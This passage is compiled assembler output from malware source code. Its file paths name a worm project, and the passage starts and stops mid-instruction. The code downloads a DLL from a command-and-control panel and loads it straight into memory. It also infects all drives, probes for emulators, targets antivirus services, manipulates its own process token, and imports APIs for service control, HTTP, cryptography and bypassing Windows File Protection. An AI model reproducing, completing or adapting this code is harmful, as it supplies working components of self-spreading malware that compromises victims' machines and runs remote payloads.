8(%ebp) call _u_CreateFile addl $12,%esp movl %eax,%edi .line 56 or %edi,%edi jne _$1570 xor %eax,%eax jmp _$1569 _$1570: .line 57 pushl 16(%ebp) pushl 12(%ebp) pushl %edi call _u_WriteFile .line 58 pushl %edi call _u_CloseFile addl $16,%esp .line 59 xor %eax,%eax inc %eax _$1569: .line 60 popl %edi popl %ebp ret _$1573: .size _u_SaveToFile,_$1573-_u_SaveToFile .globl _u_SaveToFile ; i --> %edi ; c_sub --> %esi ; s --> %ebx .type _u_strstr,function _u_strstr: pushl %ebp movl %esp,%ebp subl $12,%esp pushl %ebx pushl %esi pushl %edi .line 63 movl 8(%ebp),%ebx .line 64 pushl %ebx call _lstrlenA@4 movl %eax,-4(%ebp) .line 65 pushl 12(%ebp) call _lstrlenA@4 movl %eax,%esi .line 66 cmpl %esi,-4(%ebp) jge _$1575 xor %eax,%eax jmp _$1574 _$1575: .line 67 xor %edi,%edi jmp _$1580 _$1577: .line 69 movl $1,-12(%ebp) .line 70 andl $0,-8(%ebp) jmp _$1584 _$1581: .line 71 movl -8(%ebp),%eax movl %edi,%edx addl %eax,%edx movsbl (%ebx,%edx),%edx movl 12(%ebp),%ecx movsbl (%ecx,%eax),%eax cmpl %eax,%edx je _$1585 .line 73 andl $0,-12(%ebp) .line 74 jmp _$1583 _$1585: .line 70 incl -8(%ebp) _$1584: cmpl %esi,-8(%ebp) jl _$1581 _$1583: .line 76 cmpl $0,-12(%ebp) je _$1587 .line 77 movl %edi,%eax addl %ebx,%eax jmp _$1574 _$1587: .line 78 .line 67 incl %edi _$1580: movl -4(%ebp),%eax subl %esi,%eax cmpl %eax,%edi jle _$1577 .line 79 xor %eax,%eax _$1574: .line 80 popl %edi popl %esi popl %ebx leave ret _$1592: .size _u_strstr,_$1592-_u_strstr .globl _u_strstr .type _u_icmpchar,function _u_icmpchar: .line 84 .line 85 movb 4(%esp),%al cmpb $97,%al jl _$1594 cmpb $122,%al jg _$1594 .line 86 movsbl 4(%esp),%eax xorl $32,%eax movb %al,4(%esp) _$1594: .line 87 movb 8(%esp),%al cmpb $97,%al jl _$1596 cmpb $122,%al jg _$1596 .line 88 movsbl 8(%esp),%eax xorl $32,%eax movb %al,8(%esp) _$1596: .line 89 movsbl 4(%esp),%eax movsbl 8(%esp),%edx subl %edx,%eax .line 90 ret _$1600: .size _u_icmpchar,_$1600-_u_icmpchar .globl _u_icmpchar ; i --> %edi ; c_sub --> %esi ; s --> %ebx .type _u_istrstr,function _u_istrstr: pushl %ebp movl %esp,%ebp subl $12,%esp pushl %ebx pushl %esi pushl %edi .line 94 movl 8(%ebp),%ebx .line 95 pushl %ebx call *__lstrlen movl %eax,-4(%ebp) .line 96 pushl 12(%ebp) call *__lstrlen movl %eax,%esi .line 97 cmpl %esi,-4(%ebp) jge _$1602 xor %eax,%eax jmp _$1601 _$1602: .line 98 xor %edi,%edi jmp _$1607 _$1604: .line 100 movl $1,-12(%ebp) .line 101 andl $0,-8(%ebp) jmp _$1611 _$1608: .line 102 movl -8(%ebp),%eax movl 12(%ebp),%edx movsbl (%edx,%eax),%edx pushl %edx movl %edi,%edx addl %eax,%edx movsbl (%ebx,%edx),%eax pushl %eax call _u_icmpchar addl $8,%esp or %eax,%eax je _$1612 .line 104 andl $0,-12(%ebp) .line 105 jmp _$1610 _$1612: .line 101 incl -8(%ebp) _$1611: cmpl %esi,-8(%ebp) jl _$1608 _$1610: .line 107 cmpl $0,-12(%ebp) je _$1614 .line 108 movl %edi,%eax addl %ebx,%eax jmp _$1601 _$1614: .line 109 .line 98 incl %edi _$1607: movl -4(%ebp),%eax subl %esi,%eax cmpl %eax,%edi jle _$1604 .line 110 xor %eax,%eax _$1601: .line 111 popl %edi popl %esi popl %ebx leave ret _$1620: .size _u_istrstr,_$1620-_u_istrstr .globl _u_istrstr ; s --> %edi .type _u_strchr,function _u_strchr: .line 114 movl 4(%esp),%ecx .line 115 or %ecx,%ecx jne _$1625 xor %eax,%eax jmp _$1621 .line 116 _$1624: .line 117 movsbl (,%ecx),%eax movsbl 8(%esp),%edx cmpl %edx,%eax jne _$1627 .line 118 movl %ecx,%eax jmp _$1621 _$1627: .line 120 incl %ecx .line 121 _$1625: .line 116 cmpb $0,(,%ecx) jne _$1624 .line 121 xor %eax,%eax _$1621: .line 122 ret _$1629: .size _u_strchr,_$1629-_u_strchr .globl _u_strchr .data .align 2 .type _$S1,object _$S1: .long 0x0 .text .type _u_rand,function _u_rand: pushl %ebp movl %esp,%ebp pushl %ecx pushl %edi .line 126 .line 128 cmpl $0,_$S1 jne _$1631 call *__GetTickCount movl %eax,%edi andl $0xffff,%edi movl %edi,_$S1 _$1631: .line 129 movl $0xec7b,%eax mull _$S1 movl %eax,-4(%ebp) addl $4481,%eax andl $0xffff,%eax movl %eax,_$S1 .line 130 .line 131 popl %edi leave ret _$1635: .size _u_rand,_$1635-_u_rand .globl _u_rand ; r --> %esi .type _u_rand_range,function _u_rand_range: pushl %ebp movl %esp,%ebp pushl %ebx pushl %esi pushl %edi .line 134 .line 135 call _u_rand movl %eax,%esi .line 136 movl 8(%ebp),%edi movl %esi,%eax movl 12(%ebp),%ebx subl %edi,%ebx movl %ebx,%ecx incl %ecx cdq idivl %ecx movl %edx,%eax addl %edi,%eax .line 137 popl %edi popl %esi popl %ebx popl %ebp ret _$1639: .size _u_rand_range,_$1639-_u_rand_range .globl _u_rand_range .file "e:\projects\progs\petrosjan\bjwj\worm\addons\addons.c" _$M161: .data .globl _nameLoadDll .align 2 .type _nameLoadDll,object _nameLoadDll: .long _$1640 .text ; dll --> %edi .type _LoadAndStartDll,function _LoadAndStartDll: pushl %ebp movl %esp,%ebp subl $12,%esp pushl %edi .line 7 .line 9 pushl $_$1642 call *__OutputDebugStringA .line 10 leal -4(%ebp),%eax pushl %eax pushl _nameLoadDll call _LoadFileFromAdminka addl $8,%esp movl %eax,%edi .line 11 pushl $_$1643 call *__OutputDebugStringA .line 12 or %edi,%edi je _$1644 .line 14 pushl -4(%ebp) pushl %edi pushl $_$1646 call _u_SaveToFile .line 15 pushl $_$1647 call *__OutputDebugStringA .line 16 pushl %edi call _MemoryLoadLibrary addl $16,%esp movl %eax,-8(%ebp) .line 17 pushl $_$1648 call *__OutputDebugStringA .line 18 cmpl $0,-8(%ebp) je _$1649 .line 20 pushl $_$1651 call *__OutputDebugStringA .line 21 pushl $_$1652 pushl -8(%ebp) call _MemoryGetProcAddress@8 movl %eax,-12(%ebp) .line 22 pushl $_$1653 call *__OutputDebugStringA .line 23 cmpl $0,-12(%ebp) je _$1654 .line 25 pushl $_$1656 call *__OutputDebugStringA .line 26 call *-12(%ebp) jmp _$1650 _$1654: .line 29 pushl $_$1657 call *__OutputDebugStringA .line 30 jmp _$1650 _$1649: .line 32 pushl $_$1658 call *__OutputDebugStringA _$1650: .line 33 pushl %edi call _u_free popl %ecx _$1644: .line 35 popl %edi leave ret _$1662: .size _LoadAndStartDll,_$1662-_LoadAndStartDll .globl _LoadAndStartDll .file "e:\projects\progs\petrosjan\bjwj\worm\kkqvx.c" _$M162: .type _WndProc@16,function _WndProc@16: pushl %ebp movl %esp,%ebp pushl %edi .line 18 .line 19 movl 12(%ebp),%eax _$1664: .line 21 pushl 20(%ebp) pushl 16(%ebp) pushl 12(%ebp) pushl 8(%ebp) call *__DefWindowProc .line 23 popl %edi popl %ebp ret $16 _$1667: .size _WndProc@16,_$1667-_WndProc@16 .globl _WndProc@16 ; v --> %edi .type _CheckVersion,function _CheckVersion: pushl %ebp movl %esp,%ebp subl $260,%esp pushl %esi pushl %edi .line 34 .line 40 movl $23,%edi _$1669: .line 44 pushl %edi pushl $_$1674 pushl $_$1673 leal -255(%ebp),%eax pushl %eax call *__sprintf addl $16,%esp .line 50 leal -255(%ebp),%eax pushl %eax pushl $0 pushl $0x100000 call *__OpenMutex movl %eax,-260(%ebp) or %eax,%eax je _$1675 .line 52 pushl %eax call *__CloseHandle .line 53 cmpl $23,%edi jne _$1677 .line 54 xor %eax,%eax inc %eax jmp _$1668 _$1677: .line 56 movl $2,%eax jmp _$1668 .line 57 _$1675: .line 58 .line 40 incl %edi cmpl $100,%edi jb _$1669 .line 60 xor %eax,%eax _$1668: .line 61 popl %edi popl %esi leave ret _$1680: .size _CheckVersion,_$1680-_CheckVersion .globl _CheckVersion ; hcmv --> %edi .type _CreateOrOpenMutexes_WaitForMtx2Release,function _CreateOrOpenMutexes_WaitForMtx2Release: pushl %ebp movl %esp,%ebp pushl %ecx pushl %edi .line 67 .line 72 pushl 8(%ebp) pushl $0 pushl $0 call *__CreateMutex movl %eax,-4(%ebp) .line 73 pushl 12(%ebp) pushl $1 pushl $0 call *__CreateMutex movl %eax,%edi .line 83 or %edi,%edi jne _$1682 pushl $1 call *__ExitThread _$1682: .line 92 pushl $0xffffffff pushl %edi call *__WaitForSingleObject .line 97 popl %edi leave ret _$1686: .size _CreateOrOpenMutexes_WaitForMtx2Release,_$1686-_CreateOrOpenMutexes_WaitForMtx2Release .globl _CreateOrOpenMutexes_WaitForMtx2Release .type _InitInfectData,function _InitInfectData: pushl %ebp movl %esp,%ebp .extern __stackprobe movl $200008,%eax call __stackprobe .line 104 .line 107 movl 8(%ebp),%eax addl $23,%eax pushl %eax call *__srand popl %ecx .line 133 andl $0,-4(%ebp) .line 135 pushl $0 pushl $0 pushl $3 pushl $0 pushl $0 pushl $0x80000001 pushl $_$1688 call *__CreateFile movl %eax,-8(%ebp) .line 136 cmpl $0xffffffff,%eax je _$1689 .line 138 pushl $0 pushl $0 pushl $_$1691 pushl $0 call *__MessageBox .line 139 pushl $0 pushl $0 pushl $_$1692 pushl $0 call *__MessageBox .line 140 pushl $0 leal -4(%ebp),%eax pushl %eax pushl $0x30d40 leal -200008(%ebp),%eax pushl %eax pushl -8(%ebp) call *__ReadFile .line 141 pushl -8(%ebp) call *__CloseHandle jmp _$1690 _$1689: .line 143 andl $0,-4(%ebp) andl $0,_dll_len pushl $0 pushl $0 pushl $_$1693 pushl $0 call *__MessageBox _$1690: .line 145 leal -200008(%ebp),%eax movl %eax,_dll_mem .line 151 movl -4(%ebp),%eax movl %eax,_dll_len .line 152 call _InitAVSVC .line 158 pushl 12(%ebp) call _ProcessInactiveServices popl %ecx .line 159 leave ret _$1696: .size _InitInfectData,_$1696-_InitInfectData .globl _InitInfectData .type _ServiceMode,function _ServiceMode: pushl %ebp movl %esp,%ebp subl $256,%esp .line 165 .line 167 pushl $_$1698 call *__OutputDebugStringA .line 172 movl $10000,_sdelay .line 173 pushl $23 pushl $_$1700 pushl $_$1699 leal -255(%ebp),%eax pushl %eax call *__sprintf .line 176 leal -255(%ebp),%eax pushl %eax pushl $_$1700 call _CreateOrOpenMutexes_WaitForMtx2Release .line 179 pushl $0 call _EditOwnToken_or_CheckFiltered .line 183 pushl $0 pushl 8(%ebp) call _InitInfectData .line 189 pushl $_InfectAllDrives@4 call _CloseCreateThreadEco .line 201 pushl $_$1700 leal -255(%ebp),%eax pushl %eax call _CreateOrOpenMutexes_WaitForMtx2Release addl $48,%esp .line 206 call _LoadAndStartDll _$1701: .line 209 pushl $0 call *___sleep popl %ecx jmp _$1701 .line 210 leave ret _$1702: .size _ServiceMode,_$1702-_ServiceMode .globl _ServiceMode .type _MainThread@4,function _MainThread@4: pushl %ebp movl %esp,%ebp subl $624,%esp pushl %ebx pushl %esi pushl %edi .line 222 .line 243 addl $23,-72(%ebp) .line 244 call _GetTicks1 .line 246 movl $512,-76(%ebp) .line 247 pushl $96 call _AntiEmulator addl $4,%esp movl %eax,-72(%ebp) .line 249 movl __KERNEL32,%edi addl -76(%ebp),%edi addl _EMUL,%edi movl %edi,__KERNEL32 .line 250 movl __KERNEL32,%edi movl -76(%ebp),%eax mull -72(%ebp) movl %eax,-624(%ebp) movl -624(%ebp),%esi subl -624(%ebp),%edi movl %edi,__KERNEL32 .line 254 call _InitKernel32a .line 256 call _InitKernel32 .line 257 call _InitCRTDLL .line 258 call _InitUser32 .line 259 call _InitADVAPI32 .line 260 call _InitSFC .line 261 call _InitShell32 .line 262 call _InitCrypt32 .line 263 call _InitUrlmon .line 264 call _InitWininet .line 265 call _InitSFC_OS .line 274 call *__GetTickCount movl %eax,-80(%ebp) .line 275 pushl $0 call *__GetModuleHandle movl %eax,_hI .line 276 call _CheckService movl %eax,-620(%ebp) .line 292 pushl -80(%ebp) call _ServiceMode addl $4,%esp _$1704: .line 305 call _CheckVersion movl %ax,%bx movb %bl,-81(%ebp) .line 307 cmpb $2,-81(%ebp) jne _$1705 .line 312 pushl $1 call *__ExitThread _$1705: .line 315 cmpb $1,-81(%ebp) jne _$1707 .line 321 pushl $100 call *___sleep addl $4,%esp .line 324 jmp _$1704 _$1707: .line 333 pushl $_$1674 pushl $_$1709 leal -347(%ebp),%edi pushl %edi call *__sprintf addl $12,%esp .line 334 pushl $23 pushl $_$1674 pushl $_$1673 leal -602(%ebp),%edi pushl %edi call *__sprintf addl $16,%esp .line 336 leal -602(%ebp),%edi pushl %edi leal -347(%ebp),%edi pushl %edi call _CreateOrOpenMutexes_WaitForMtx2Release addl $8,%esp .line 342 leal _$1674,%edi movl %edi,-32(%ebp) .line 343 movl _hI,%edi movl %edi,-52(%ebp) .line 344 leal _WndProc@16,%edi movl %edi,-64(%ebp) .line 345 movl $0,-44(%ebp) .line 346 movl $0,-48(%ebp) .line 347 movl $0,-36(%ebp) .line 348 movl $0x5,-40(%ebp) .line 349 movl $3,-68(%ebp) .line 350 movl $0,-60(%ebp) .line 351 movl $0,-56(%ebp) .line 355 leal -68(%ebp),%edi pushl %edi call *__RegisterClass .line 362 movl $0xca0000,-608(%ebp) .line 363 movl $0,-88(%ebp) .line 364 movl $0,-92(%ebp) .line 370 pushl $_$1700 pushl $0 pushl $0x100000 call *__OpenMutex movl %eax,-616(%ebp) cmpl $0,%eax je _$1719 .line 372 movl $0,-612(%ebp) .line 373 pushl -616(%ebp) call *__CloseHandle jmp _$1720 _$1719: .line 375 movl $5,-612(%ebp) _$1720: .line 384 pushl $0 pushl _hI pushl $0 pushl $0 movl -92(%ebp),%edi pushl %edi pushl %edi movl -88(%ebp),%edi pushl %edi pushl %edi pushl -608(%ebp) pushl $_$1674 pushl $_$1674 pushl $0 call *__CreateWindowEx movl %eax,_hw .line 385 movl $0,_sdelay .line 388 pushl $0 call _EditOwnToken_or_CheckFiltered addl $4,%esp .line 391 pushl -612(%ebp) pushl -80(%ebp) call _InitInfectData addl $8,%esp .line 395 call _softfind .line 399 pushl $_InfectAllDrives@4 call _CloseCreateThreadEco addl $4,%esp jmp _$1722 _$1721: .line 405 leal -28(%ebp),%edi pushl %edi call *__TranslateMessage .line 406 leal -28(%ebp),%edi pushl %edi call *__DispatchMessage _$1722: .line 403 pushl $0 pushl $0 pushl $0 leal -28(%ebp),%edi pushl %edi call *__GetMessage cmpl $0,%eax jne _$1721 .line 411 pushl $_$1724 call _GetModuleHandleA@4 _$1703: .line 413 popl %edi popl %esi popl %ebx leave ret $4 _$1741: .size _MainThread@4,_$1741-_MainThread@4 .globl _MainThread@4 .type _StartMainThread,function _StartMainThread: pushl %ebp movl %esp,%ebp subl $12,%esp pushl %edi .line 425 .line 430 movl $1,-12(%ebp) .line 431 leal -8(%ebp),%edi pushl %edi pushl $0 leal -4(%ebp),%edi pushl %edi pushl $_MainThread@4 pushl $0 pushl $0 call *__CreateThread _$1742: .line 432 popl %edi leave ret _$1744: .size _StartMainThread,_$1744-_StartMainThread .globl _StartMainThread .type _main,function _main: pushl %ebp movl %esp,%ebp subl $32,%esp pushl %edi .line 456 .line 462 leal _MainThread@4,%edi movl %edi,-20(%ebp) .line 463 leal _MainThread@4,%edi shrl $16,%edi movl %edi,-8(%ebp) .line 465 shll $16,-8(%ebp) .line 473 leal -12(%ebp),%edi pushl %edi pushl $4 pushl -20(%ebp) pushl -8(%ebp) call _FindPEheader addl $16,%esp movl %eax,-8(%ebp) .line 477 movl -12(%ebp),%edi movl 128(%edi),%edi movl %edi,-16(%ebp) .line 481 movl $0,-4(%ebp) jmp _$1749 _$1746: .line 483 movl -8(%ebp),%edi addl -16(%ebp),%edi addl -4(%ebp),%edi movl %edi,-32(%ebp) .line 485 movl -32(%ebp),%edi cmpl $0,(,%edi) jne _$1750 jmp _$1748 _$1750: .line 486 cmpl $0,__KERNEL32 je _$1752 jmp _$1748 _$1752: .line 488 pushl -32(%ebp) pushl -8(%ebp) call _ProcessDLLimports addl $8,%esp _$1747: .line 481 addl $20,-4(%ebp) _$1749: movl -12(%ebp),%edi movl 132(%edi),%edi cmpl %edi,-4(%ebp) jb _$1746 _$1748: .line 491 cmpl $0,__KERNEL32 jne _$1754 jmp _$1745 _$1754: .line 517 call _StartMainThread .line 521 pushl $0 pushl $0 pushl $0 pushl $0 call _WriteOrGetLen_C_CODE addl $16,%esp movl %eax,_szinfcode .line 525 movl -12(%ebp),%edi movzwl 6(%edi),%edi subl $1,%edi movl %edi,-24(%ebp) .line 526 movl -12(%ebp),%edi movl %edi,-28(%ebp) _$1756: .line 532 pushl $0 call __sleep addl $4,%esp jmp _$1756 _$1745: .line 593 popl %edi leave ret _$1760: .size _main,_$1760-_main .globl _main .bss .globl _hI .align 2 .type _hI,object .comm _hI,4 .globl _hw .align 2 .type _hw,object .comm _hw,4 .globl _sdelay .align 2 .type _sdelay,object .comm _sdelay,4 .globl _drvl .align 2 .type _drvl,object .comm _drvl,1020 .globl _htrd .align 2 .type _htrd,object .comm _htrd,1020 .globl _SECTNAME .type _SECTNAME,object .comm _SECTNAME,50 .globl _infsize .align 2 .type _infsize,object .comm _infsize,4 .globl _dll_len .align 2 .type _dll_len,object .comm _dll_len,4 .globl _dll_mem .align 2 .type _dll_mem,object .comm _dll_mem,4 .globl _upx_sect .align 2 .type _upx_sect,object .comm _upx_sect,4 .globl _szinfcode .align 2 .type _szinfcode,object .comm _szinfcode,4 .globl _AVSVC .type _AVSVC,object .comm _AVSVC,512 .globl _ticks2 .align 2 .type _ticks2,object .comm _ticks2,4 .globl _EMUL .align 2 .type _EMUL,object .comm _EMUL,4 .globl _ticks1 .align 2 .type _ticks1,object .comm _ticks1,4 .globl __CryptStringToBinaryA .align 2 .type __CryptStringToBinaryA,object .comm __CryptStringToBinaryA,4 .globl __ObtainUserAgentString .align 2 .type __ObtainUserAgentString,object .comm __ObtainUserAgentString,4 .globl __InternetCloseHandle .align 2 .type __InternetCloseHandle,object .comm __InternetCloseHandle,4 .globl __HttpSendRequestA .align 2 .type __HttpSendRequestA,object .comm __HttpSendRequestA,4 .globl __HttpAddRequestHeadersA .align 2 .type __HttpAddRequestHeadersA,object .comm __HttpAddRequestHeadersA,4 .globl __HttpOpenRequestA .align 2 .type __HttpOpenRequestA,object .comm __HttpOpenRequestA,4 .globl __InternetConnectA .align 2 .type __InternetConnectA,object .comm __InternetConnectA,4 .globl __InternetOpenA .align 2 .type __InternetOpenA,object .comm __InternetOpenA,4 .globl __InternetReadFile .align 2 .type __InternetReadFile,object .comm __InternetReadFile,4 .globl __CryptSetKeyParam .align 2 .type __CryptSetKeyParam,object .comm __CryptSetKeyParam,4 .globl __CryptImportKey .align 2 .type __CryptImportKey,object .comm __CryptImportKey,4 .globl __CryptAcquireContextA .align 2 .type __CryptAcquireContextA,object .comm __CryptAcquireContextA,4 .globl __CryptDestroyKey .align 2 .type __CryptDestroyKey,object .comm __CryptDestroyKey,4 .globl __CryptDecrypt .align 2 .type __CryptDecrypt,object .comm __CryptDecrypt,4 .globl __OpenSCManager .align 2 .type __OpenSCManager,object .comm __OpenSCManager,4 .globl __OpenService .align 2 .type __OpenService,object .comm __OpenService,4 .globl __ControlService .align 2 .type __ControlService,object .comm __ControlService,4 .globl __ChangeServiceConfig .align 2 .type __ChangeServiceConfig,object .comm __ChangeServiceConfig,4 .globl __StartService .align 2 .type __StartService,object .comm __StartService,4 .globl __EnumServicesStatus .align 2 .type __EnumServicesStatus,object .comm __EnumServicesStatus,4 .globl __QueryServiceConfig .align 2 .type __QueryServiceConfig,object .comm __QueryServiceConfig,4 .globl __CloseServiceHandle .align 2 .type __CloseServiceHandle,object .comm __CloseServiceHandle,4 .globl __SetFileSecurity .align 2 .type __SetFileSecurity,object .comm __SetFileSecurity,4 .globl __GetSidSubAuthorityCount .align 2 .type __GetSidSubAuthorityCount,object .comm __GetSidSubAuthorityCount,4 .globl __GetSidSubAuthority .align 2 .type __GetSidSubAuthority,object .comm __GetSidSubAuthority,4 .globl __GetSidIdentifierAuthority .align 2 .type __GetSidIdentifierAuthority,object .comm __GetSidIdentifierAuthority,4 .globl __SetSecurityDescriptorOwner .align 2 .type __SetSecurityDescriptorOwner,object .comm __SetSecurityDescriptorOwner,4 .globl __SetSecurityDescriptorDacl .align 2 .type __SetSecurityDescriptorDacl,object .comm __SetSecurityDescriptorDacl,4 .globl __InitializeSecurityDescriptor .align 2 .type __InitializeSecurityDescriptor,object .comm __InitializeSecurityDescriptor,4 .globl __AdjustTokenPrivileges .align 2 .type __AdjustTokenPrivileges,object .comm __AdjustTokenPrivileges,4 .globl __GetTokenInformation .align 2 .type __GetTokenInformation,object .comm __GetTokenInformation,4 .globl __LookupPrivilegeValue .align 2 .type __LookupPrivilegeValue,object .comm __LookupPrivilegeValue,4 .globl __OpenProcessToken .align 2 .type __OpenProcessToken,object .comm __OpenProcessToken,4 .globl __GetUserName .align 2 .type __GetUserName,object .comm __GetUserName,4 .globl __RegCloseKey .align 2 .type __RegCloseKey,object .comm __RegCloseKey,4 .globl __RegSetKeySecurity .align 2 .type __RegSetKeySecurity,object .comm __RegSetKeySecurity,4 .globl __RegSetValueEx .align 2 .type __RegSetValueEx,object .comm __RegSetValueEx,4 .globl __RegCreateKeyEx .align 2 .type __RegCreateKeyEx,object .comm __RegCreateKeyEx,4 .globl __RegQueryValueEx .align 2 .type __RegQueryValueEx,object .comm __RegQueryValueEx,4 .globl __RegEnumKeyEx .align 2 .type __RegEnumKeyEx,object .comm __RegEnumKeyEx,4 .globl __RegOpenKeyEx .align 2 .type __RegOpenKeyEx,object .comm __RegOpenKeyEx,4 .globl __CryptReleaseContext .align 2 .type __CryptReleaseContext,object .comm __CryptReleaseContext,4 .globl __CryptDestroyHash .align 2 .type __CryptDestroyHash,object .comm __CryptDestroyHash,4 .globl __CryptGetHashParam .align 2 .type __CryptGetHashParam,object .comm __CryptGetHashParam,4 .globl __CryptHashData .align 2 .type __CryptHashData,object .comm __CryptHashData,4 .globl __CryptCreateHash .align 2 .type __CryptCreateHash,object .comm __CryptCreateHash,4 .globl __CryptAcquireContext .align 2 .type __CryptAcquireContext,object .comm __CryptAcquireContext,4 .globl __SHGetFolderPath .align 2 .type __SHGetFolderPath,object .comm __SHGetFolderPath,4 .globl __SfcFileException .align 2 .type __SfcFileException,object .comm __SfcFileException,4 .globl __SfcIsFileProtected .align 2 .type __SfcIsFileProtected,object .comm __SfcIsFileProtected,4 .globl __CharUpperBuff .align 2 .type __CharUpperBuff,object .comm __CharUpperBuff,4 .globl __OemToChar .align 2 .type __OemToChar,object .comm __OemToChar,4 .globl __EnumDesktopWindows .align 2 .type __EnumDesktopWindows,object .comm __EnumDesktopWindows,4 .globl __FindWindowEx .align 2 .type __FindWindowEx,object .comm __FindWindowEx,4 .globl __TranslateMessage .align 2 .type __TranslateMessage,object .comm __TranslateMessage,4 .globl __ShowWindow .align 2 .type __ShowWindow,object .comm __ShowWindow,4 .globl __SetWindowText .align 2 .type __SetWindowText,object .comm __SetWindowText,4 .globl __SetWindowLong .align 2 .type __SetWindowLong,object .comm __SetWindowLong,4 .globl __SetFocus .align 2 .type __SetFocus,object .comm __SetFocus,4 .globl __SendMessage .align 2 .type __SendMessage,object .comm __SendMessage,4 .globl __RegisterClass .align 2 .type __RegisterClass,object .comm __RegisterClass,4 .globl __MoveWindow .align 2 .type __MoveWindow,object .comm __MoveWindow,4 .globl __GetWindowText .align 2 .type __GetWindowText,object .comm __GetWindowText,4 .globl __GetWindowRect .align 2 .type __GetWindowRect,object .comm __GetWindowRect,4 .globl __GetWindowLong .align 2 .type __GetWindowLong,object .comm __GetWindowLong,4 .globl __GetWindow .align 2 .type __GetWindow,object .comm __GetWindow,4 .globl __GetMessage .align 2 .type __GetMessage,object .comm __GetMessage,4 .globl __GetForegroundWindow .align 2 .type __GetForegroundWindow,object .comm __GetForegroundWindow,4 .globl __GetClassName .align 2 .type __GetClassName,object .comm __GetClassName,4 .globl __DispatchMessage .align 2 .type __DispatchMessage,object .comm __DispatchMessage,4 .globl __DestroyWindow .align 2 .type __DestroyWindow,object .comm __DestroyWindow,4 .globl __CreateWindowEx .align 2 .type __CreateWindowEx,object .comm __CreateWindowEx,4 .globl __DefWindowProc .align 2 .type __DefWindowProc,object .comm __DefWindowProc,4 .globl __CallWindowProc .align 2 .type __CallWindowProc,object .comm __CallWindowProc,4 .globl __MessageBox .align 2 .type __MessageBox,object .comm __MessageBox,4 .globl __wcslen .align 2 .type __wcslen,object .comm __wcslen,4 .globl __vsprintf .align 2 .type __vsprintf,object .comm __vsprintf,4 .globl __sprintf .align 2 .type __sprintf,object .comm __sprintf,4 .globl __strcat .align 2 .type __strcat,object .comm __strcat,4 .globl __rand .align 2 .type __rand,object .comm __rand,4 .globl __srand .align 2 .type __srand,object .comm __srand,4 .globl __memset .align 2 .type __memset,object .comm __memset,4 .globl __memcpy .align 2 .type __memcpy,object .comm __memcpy,4 .globl __memcmp .align 2 .type __memcmp,object .comm __memcmp,4 .globl __malloc .align 2 .type __malloc,object .comm __malloc,4 .globl __free .align 2 .type __free,object .comm __free,4 .globl __atoi .align 2 .type __atoi,object .comm __atoi,4 .globl ___toupper .align 2 .type ___toupper,object .comm ___toupper,4 .globl ___sleep .align 2 .type ___sleep,object .comm ___sleep,4 .globl __lstrcatA .align 2 .type __lstrcatA,object .comm __lstrcatA,4 .globl __OutputDebugStringA .align 2 .type __OutputDebugStringA,object .comm __OutputDebugStringA,4 .globl __IsBadReadPtr .align 2 .type __IsBadReadPtr,object .comm __IsBadReadPtr,4 .globl __TerminateProcess .align 2 .type __TerminateProcess,object .comm __TerminateProcess,4 .globl __TerminateThread .align 2 .type __TerminateThread,object .comm __TerminateThread,4 .globl __GetExitCodeProcess .align 2 .type __GetExitCodeProcess,object .comm __GetExitCodeProcess,4 .globl __CreateProcess .align 2 .type __CreateProcess,object .comm __CreateProcess,4 .globl __CreatePipe .align 2 .type __CreatePipe,object .comm __CreatePipe,4 .globl __PeekNamedPipe .align 2 .type __PeekNamedPipe,object .comm __PeekNamedPipe,4 .globl __CreateDirectory .align 2 .type __CreateDirectory,object .comm __CreateDirectory,4 .globl __GetComputerName .align 2 .type __GetComputerName,object .comm __GetComputerName,4 .globl __GetEnvironmentStrings .align 2 .type __GetEnvironmentStrings,object .comm __GetEnvironmentStrings,4 .globl __FreeEnvironmentStrings .align 2 .type __FreeEnvironmentStrings,object .comm __FreeEnvironmentStrings,4 .globl __FreeLibrary .align 2 .type __FreeLibrary,object .comm __FreeLibrary,4 .globl __WaitForSingleObject .align 2 .type __WaitForSingleObject,object .comm __WaitForSingleObject,4 .globl __GetCurrentThreadId .align 2 .type __GetCurrentThreadId,object .comm __GetCurrentThreadId,4 .globl __GetCurrentProcessId .align 2 .type __GetCurrentProcessId,object .comm __GetCurrentProcessId,4 .globl __OpenProcess .align 2 .type __OpenProcess,object .comm __OpenProcess,4 .globl __GetLocaleInfo .align 2 .type __GetLocaleInfo,object .comm __GetLocaleInfo,4 .globl __GetVersionEx .align 2 .type __GetVersionEx,object .comm __GetVersionEx,4 .globl __FindClose .align 2 .type __FindClose,object .comm __FindClose,4 .globl __FileTimeToSystemTime .align 2 .type __FileTimeToSystemTime,object .comm __FileTimeToSystemTime,4 .globl __CompareFileTime .align 2 .type __CompareFileTime,object .comm __CompareFileTime,4 .globl __GetVolumeInformation .align 2 .type __GetVolumeInformation,object .comm __GetVolumeInformation,4 .globl ___InterlockedDecrement .align 2 .type ___InterlockedDecrement,object .comm ___InterlockedDecrement,4 .globl ___InterlockedIncrement .align 2 .type ___InterlockedIncrement,object .comm ___InterlockedIncrement,4 .globl __GetSystemDirectory .align 2 .type __GetSystemDirectory,object .comm __GetSystemDirectory,4 .globl __GetModuleFileName .align 2 .type __GetModuleFileName,object .comm __GetModuleFileName,4 .globl __OpenMutex .align 2 .type __OpenMutex,object .comm __OpenMutex,4 .globl __CreateMutex .align 2 .type __CreateMutex,object .comm __CreateMutex,4 .globl __CopyFile .align 2 .type __CopyFile,object .comm __CopyFile,4 .globl __GetDiskFreeSpace .align 2 .type __GetDiskFreeSpace,object .comm __GetDiskFreeSpace,4 .globl __SetErrorMode .align 2 .type __SetErrorMode,object .comm __SetErrorMode,4 .globl __GetExitCodeThread .align 2 .type __GetExitCodeThread,object .comm __GetExitCodeThread,4 .globl __GetDriveType .align 2 .type __GetDriveType,object .comm __GetDriveType,4 .globl __FindNextFile .align 2 .type __FindNextFile,object .comm __FindNextFile,4 .globl __FindFirstFile .align 2 .type __FindFirstFile,object .comm __FindFirstFile,4 .globl __GetTickCount .align 2 .type __GetTickCount,object .comm __GetTickCount,4 .globl __lstrlen .align 2 .type __lstrlen,object .comm __lstrlen,4 .globl __lstrlenW .align 2 .type __lstrlenW,object .comm __lstrlenW,4 .globl __ZeroMemory .align 2 .type __ZeroMemory,object .comm __ZeroMemory,4 .globl __WinExec .align 2 .type __WinExec,object .comm __WinExec,4 .globl __WideCharToMultiByte .align 2 .type __WideCharToMultiByte,object .comm __WideCharToMultiByte,4 .globl __VirtualFree .align 2 .type __VirtualFree,object .comm __VirtualFree,4 .globl __VirtualAlloc .align 2 .type __VirtualAlloc,object .comm __VirtualAlloc,4 .globl __ReadFile .align 